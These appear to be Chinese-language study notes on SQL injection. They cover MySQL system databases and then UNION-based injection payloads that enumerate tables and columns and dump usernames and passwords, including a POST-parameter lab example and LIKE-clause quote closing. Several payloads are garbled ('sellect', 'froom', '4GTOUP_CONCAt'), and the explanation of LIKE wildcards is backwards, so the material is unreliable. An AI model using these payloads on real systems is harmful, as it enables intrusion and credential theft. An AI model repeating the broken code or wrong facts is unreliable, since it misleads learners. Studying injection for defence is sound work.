1.SQL注入基础
1. MySQL base2.SQL Injection 2.GET类型3.POST类型
1.SQL注入基础 1. MySQL base系统库释意
**information_schema库:**是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等。**SCHEMATA表:**提供了当前MySQL实例中所有的数据库信息,show database结果取之此表。**TABLES表:**提供了关于数据中表的信息。**COLUMNS表:**详细描述了某张表所有列的信息。**mysql库:**MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql控制和管理信息。**performance_schema库:**内存数据库,数据放在内存中直接操作的数据库,相对于磁盘,内存的数据读写速度要高出几个数量级。**sys库:**调用这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户,哪张表被访问过最多等信息。 2.SQL Injection
**web程序三层架构: **
界面层:用户与前端交互
业务逻辑层:前后端交互
数据访问层:后端与数据库交互 SQL注入发生处
简易原理
SELECt * FROM t1 WHERe ID=%s;
SELECt * FROM t1 WHERe name=%s;
假设用户传入的ID或name值为真,比如***1 or 1 = 1***则……产生注入
实际上执行的SQL语句为:SELECt * FROM t1 WHERe id=1 OR 1=1;
注意闭合单引号和注释掉后面语句。
基础语法
SQL语法
union联合查询注入
134 ' union select 1,2,3,4 -- 最后有空格,注释掉源码中后面的语句
其中1,2,3,4由SQL字段个数决定,可以直接或由134' order by 4 --试出。
134' union sellect 1,user(),version(),database() --替换其中的字段为user()、database()之类的,注意数据类型(对应位置字段替换前后数据类型要一致)。
134' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database() --
利用information_schema库中的tables来查询database()库中存在的表名。
134' union select 1,database(),column_name,4 from information_schema.columns where table_name='user' and table_schema=database() --
利用information_schema库中的columns来查询database()库中存在的表(例如user)中的字段名。
134' union select 1,username,passwd,4 froom user --
利用查询到的字段名(例如username,passwd)替换起初union查询语句,得到值。
注意看页面源码,筛查有用信息。
Request Method:POST Form Data(参数) movie:1 action:go 两个参数即为注入点
如果源码语句只显示一条结果,则先使原参数值为数据库中不存在的值,例如movie取值1~10,这里使其为11;
然后使用GROUP_CONCAt()函数:
11 union select 1,user(),database(),4GTOUP_CONCAt(table_name),6,7 from information_schema.tables where table_schema=database() --
找到需要的表名,如users;
- 11 union select 1,user(),database(),4GTOUP_CONCAt(column_name),6,7 from information_schema.columns where table_name='users' --
11 union select 1,GROUP_CONCAt(login),GROUP_CONCAt(password),4GTOUP_CONCAt(table_name),GROUP_CONCAt(admin),7 from users --
like
如果用a' or '1'='1无果,则源码可能是用了like
like %book //以book开头的值 like book% //以book结尾的值 like %book% //包含book的值
那么需要闭合%
a%' or '1'='1' --



